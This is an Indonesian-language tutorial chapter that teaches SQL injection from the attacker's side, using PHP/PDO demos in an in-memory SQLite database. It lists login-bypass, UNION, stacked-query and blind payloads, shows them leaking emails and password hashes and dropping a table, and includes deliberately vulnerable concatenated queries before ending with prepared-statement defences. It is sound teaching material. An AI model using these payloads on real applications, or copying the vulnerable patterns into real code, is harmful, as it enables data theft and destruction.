SQL injection adalah celah di mana data dari pengguna ditafsirkan sebagai kode SQL, dan pada chapter ini kita sengaja memakai sudut pandang penyerang: payload apa yang diketik, informasi apa yang dikumpulkan lebih dulu, dan bagaimana kerusakannya dirangkai tahap demi tahap. Memahami cara berpikir penyerang membuat kita berhenti mengandalkan keberuntungan dan mulai menuntut setiap query punya alasan struktural mengapa input tidak bisa menyusup. Pertahanan lengkapnya dengan prepared statements sudah kita bangun pada chapter SQL Injection Prevention ; di sini kita bedah sisi gelapnya sampai tuntas, dengan simulasi yang aman di SQLite :memory:.

Akar Masalah: Ketika Data Menjadi Kode #

Pola rentannya selalu sama: string dari pengguna ditempel langsung ke string SQL lewat concatenation, sehingga database tidak bisa membedakan mana bagian query milik kita dan mana bagian bawaan pengguna. Payload pembuka yang paling terkenal adalah membobol login dengan ' OR '1'='1 — kutip pembuka menutup string query, kondisi palsu OR '1'='1 meloloskan semua baris, dan penyerang masuk sebagai baris pertama. Kamus payload penyerang sesungguhnya jauh lebih kaya:

text
' OR '1'='1 --               authentication bypass: kondisi selalu benar
' UNION SELECT ... --         menggabungkan hasil query penyerang ke output aplikasi
'; DROP TABLE sesi --         stacked queries: statement kedua dieksekusi berikutnya
' AND SLEEP(5) --             time-based blind: jawaban "ya/tidak" lewat lama respons

Dua karakter terakhir pada payload di atas bukan hiasan: -- adalah penanda komentar SQL yang “menelan” sisa query asli, termasuk kutip penutup yang tertinggal. Tanpa trik ini, payload hampir selalu menghasilkan syntax error. Karakter serupa yang sering dipakai adalah # pada MySQL.

Membocorkan Seluruh Tabel dengan UNION SELECT #

Authentication bypass hanya memberi penyerang satu baris hasil. UNION SELECT jauh lebih berbahaya: operator SQL yang sah ini menggabungkan hasil dua query menjadi satu set baris — termasuk query yang ditulis penyerang. Simulasikan endpoint pencarian produk yang rentan:

php
<?php
$pdo = new PDO("sqlite::memory:");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$pdo->exec("CREATE TABLE produk (id INTEGER PRIMARY KEY, nama TEXT, harga INTEGER)");
$pdo->exec("CREATE TABLE pengguna (id INTEGER PRIMARY KEY, email TEXT, kata_sandi TEXT)");
$pdo->exec("INSERT INTO produk (nama, harga) VALUES ('Kopi Gayo', 85000), ('Teh Melati', 32000)");
$pdo->exec("INSERT INTO pengguna (email, kata_sandi) VALUES
    ('[email protected]', 'hash-budi-aaaa'),
    ('[email protected]', 'hash-siti-bbbb')");

// Endpoint: /produk?cari=Kopi - masukan pengguna masuk ke LIKE
$cari = "' UNION SELECT id, email, kata_sandi FROM pengguna --";

// RENTAN - SQL dirakit dengan concatenation
$sql = "SELECT id, nama, harga FROM produk WHERE nama LIKE '%$cari%'";
echo "SQL: $sql\n";
foreach ($pdo->query($sql, PDO::FETCH_ASSOC) as $row) {
    echo "{$row['id']} | {$row['nama']} | {$row['harga']}\n";
}

Output yang Dihasilkan:

text
SQL: SELECT id, nama, harga FROM produk WHERE nama LIKE '%' UNION SELECT id, email, kata_sandi FROM pengguna --%'
1 | Kopi Gayo | 85000
1 | [email protected] | hash-budi-aaaa
2 | Teh Melati | 32000
2 | [email protected] | hash-siti-bbbb

Mari kita bedah jalannya kebocoran:

  1. Payload ' UNION SELECT id, email, kata_sandi FROM pengguna -- dipilih bukan asal: jumlah kolomnya (tiga) sengaja disamakan dengan query asli karena UNION menolak menggabungkan hasil dengan jumlah kolom berbeda.
  2. Kutip pembuka pada payload menutup string '%...%' milik LIKE, sehingga sisanya dibaca sebagai kode SQL; -- di ujung menelan kutip dan % yang tersisa.
  3. LIKE '%' kini cocok dengan semua produk, lalu UNION SELECT menempelkan seluruh isi tabel pengguna di bawahnya.
  4. Halaman yang seharusnya menampilkan produk kini menampilkan email dan hash kata sandi pengguna — kebocoran data terjadi tanpa satu pun error terlihat di log.

Bagaimana penyerang tahu jumlah kolomnya tiga? Dengan recon sederhana lewat injection point yang sama di klausa ORDER BY: naikkan angkanya sampai database menolak.

php
<?php
$pdo = new PDO("sqlite::memory:");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->exec("CREATE TABLE produk (id INTEGER PRIMARY KEY, nama TEXT, harga INTEGER)");

foreach ([1, 2, 3, 4] as $kolom) {
    try {
        $pdo->query("SELECT id, nama, harga FROM produk ORDER BY $kolom");
        echo "ORDER BY $kolom : berhasil\n";
    } catch (PDOException $e) {
        echo "ORDER BY $kolom : GALAT - " . $e->getMessage() . "\n";
    }
}

Output yang Dihasilkan:

text
ORDER BY 1 : berhasil
ORDER BY 2 : berhasil
ORDER BY 3 : berhasil
ORDER BY 4 : GALAT - SQLSTATE[HY000]: General error: 1 1st ORDER BY term out of range - should be between 1 and 3

Angka 4 adalah pengumuman resmi dari database: query hanya punya tiga kolom. Informasi error seperti ini disebut error-based disclosure dan menjadi peta jalan penyerang — alasan kuat menonaktifkan tampilan detail error di production serta mencatatnya ke log server saja.

Stacked Queries: Dua Perintah Sekaligus #

Payload ' UNION SELECT ... “hanya” membaca. Stacked queries mengeksekusi statement tambahan setelah statement asli — termasuk UPDATE, DELETE, dan DROP TABLE:

php
<?php
$pdo = new PDO("sqlite::memory:");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->exec("CREATE TABLE stok (id INTEGER PRIMARY KEY, jumlah INTEGER)");
$pdo->exec("INSERT INTO stok (jumlah) VALUES (100)");

// Payload stacked queries: dua statement dalam satu string
$payload = "UPDATE stok SET jumlah = 0 WHERE id = 1; DROP TABLE stok";
$pdo->exec($payload);

try {
    $pdo->query("SELECT jumlah FROM stok");
    echo "Tabel stok masih ada\n";
} catch (PDOException $e) {
    echo "Tabel stok lenyap: " . $e->getMessage() . "\n";
}

Output yang Dihasilkan:

text
Tabel stok lenyap: SQLSTATE[HY000]: General error: 1 no such table: stok

Titik koma di tengah payload membagi string menjadi dua statement, dan driver PDO SQLite menjalankan keduanya saat exec() dipanggil — tabel stok lenyap tanpa peringatan. Kabar baiknya, ketersediaan serangan ini sangat bergantung pada driver: PDO dengan MySQL menolak multi-statement pada query() kecuali PDO::MYSQL_ATTR_MULTI_STATEMENTS diaktifkan secara eksplisit, dan banyak driver lain berperilaku sama. Kabar buruknya, “driver saya kebetulan menolak” bukan pertahanan — satu migrasi infrastruktur bisa membaliknya diam-diam.

Blind Injection: Menyadap Tanpa Output #

Bagaimana bila aplikasi tidak menampilkan hasil query ke layar? Penyerang tetap bisa membaca data dengan mengubah pertanyaannya: bukan “tunjukkan datanya”, melainkan “jawab ya atau tidak”. Pada boolean-based blind injection, kondisi palsu disisipkan agar halaman tampil berbeda saat kondisi benar:

text
' AND email LIKE 'b%' --        halaman normal = benar, halaman kosong = salah
' AND SUBSTRING(kata_sandi, 1, 1) = 'a' --   tebak hash karakter demi karakter

Dengan dua wajah halaman itu, penyerang mengekstraksi isi database karakter demi karakter lewat binary search — lambat, tetapi otomatis dan sulit terdeteksi. Varian time-based blind dipakai ketika halaman juga tidak punya dua wajah: kondisi diubah menjadi penundaan, misalnya SLEEP(5) pada MySQL, sehingga lama responsnya sendiri yang menjadi jawaban ya/tidak. Serangan ini menegaskan prinsip penting: “tidak ada output ke layar” tidak sama dengan “tidak ada kebocoran”.

Titik Suntik di Luar Klausa WHERE #

Kebiasaan mengaudit hanya nilai setelah tanda sama dengan membuat banyak titik suntik luput. Setiap posisi di mana string masuk ke SQL adalah pintu: ORDER BY {$kolom} pada fitur sortir tabel, LIMIT {$batas} pada pagination, nama tabel atau kolom yang dirakit dinamis, bahkan nilai yang tampak “hanya angka” pada IN (...). Contoh pola rentannya:

php
<?php
// RENTAN - contoh pembelajaran, jangan ditiru di kode nyata!
$kolom = $_GET['urut'] ?? 'nama';

// ORDER BY tidak boleh memakai placeholder nilai - jadi developer merakitnya manual
$sql = "SELECT id, nama, harga FROM produk ORDER BY {$kolom}";

Masalah strukturnya: placeholder prepared statement memang hanya boleh berisi nilai, sedangkan ORDER BY butuh identifier. Solusi yang benar bukan kembali ke concatenation, melainkan allowlist — nama kolom dipetakan lewat array $kolomDiizinkan = ['nama' => 'nama', 'harga' => 'harga'] lalu kunci asing ditolak. Pola lengkapnya dibahas pada chapter SQL Injection Prevention .

Second-Order Injection #

Varian paling licik menunda ledakannya. Pada second-order injection, payload masuk ke database melalui jalur yang sah — registrasi dengan username budi' -- tertolak oleh prepared statement? Justru sebaliknya: prepared statement menyimpannya apa adanya sebagai data, dan itu benar. Bahaya muncul bulan kemudian ketika kode lain membaca nilai itu lalu merakit query dengan concatenation:

php
<?php
// Sketsa second-order injection - dua momen yang berbeda waktu

// Momen 1 (registrasi): payload lolos karena hanya DISIMPAN sebagai data
$usernameDariForm = "budi' --";
$stmt = $pdo->prepare("INSERT INTO pengguna (username) VALUES (?)");
$stmt->execute([$usernameDariForm]);

// Momen 2 (bulan kemudian): laporan admin merakit SQL dengan concatenation
// $sql = "SELECT * FROM pengguna WHERE username = '$usernameDariForm'";
// kutip pada username memutus string, lalu -- menelan sisa kondisi query

Pelajarannya: data yang sudah berada di database pun tetap masukan yang tidak dipercaya. Setiap titik penyambungan string ke SQL harus hilang dari seluruh codebase, bukan hanya dari form yang menghadap pengguna.

Pertahanan dalam Satu Pandangan #

Seluruh serangan di atas tumbuh dari satu akar: data dan kode berbagi satu string. Prepared statement memisahkan keduanya secara permanen — template dikirim dulu, nilai menyusul lewat jalur yang tidak pernah ditafsirkan sebagai SQL. Payload UNION yang tadi membocorkan seluruh tabel kini menjadi string pencarian biasa:

php
<?php
$pdo = new PDO("sqlite::memory:");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->exec("CREATE TABLE produk (id INTEGER PRIMARY KEY, nama TEXT, harga INTEGER)");
$pdo->exec("CREATE TABLE pengguna (id INTEGER PRIMARY KEY, email TEXT, kata_sandi TEXT)");
$pdo->exec("INSERT INTO produk (nama, harga) VALUES ('Kopi Gayo', 85000), ('Teh Melati', 32000)");
$pdo->exec("INSERT INTO pengguna (email, kata_sandi) VALUES
    ('[email protected]', 'hash-budi-aaaa'),
    ('[email protected]', 'hash-siti-bbbb')");

$cari = "' UNION SELECT id, email, kata_sandi FROM pengguna --";

$stmt = $pdo->prepare("SELECT id, nama, harga FROM produk WHERE nama LIKE ?");
$stmt->execute(["%$cari%"]);

echo 'Baris yang tampil: ' . count($stmt->fetchAll()) . "\n";

Output yang Dihasilkan:

text
Baris yang tampil: 0

Hasilnya nol baris: database mencari produk yang namanya persis berbunyi ' UNION SELECT ... dan tidak menemukannya. Tidak ada kutip yang bisa “kabur”, tidak ada -- yang berarti, tidak ada statement kedua — payload mati sebagai data.

Ringkasan #

Dari bypass login sampai perusakan lewat stacked queries, seluruh rantai SQL injection dimulai dari satu keputusan: merakit SQL dengan concatenation. Penyerang hanya butuh satu titik suntik untuk membaca data lewat UNION SELECT, memetakan struktur lewat error ORDER BY, menyadap lewat blind injection, dan menunggu ledakan second-order dari data lama. Prepared statement memutus rantai ini pada akarnya, dan detail penerapannya dengan PDO ada di chapter SQL Injection Prevention. Berikutnya kita turun ke lapisan yang lebih dalam lagi: shell sistem operasi, pada chapter Command Injection.

Referensi #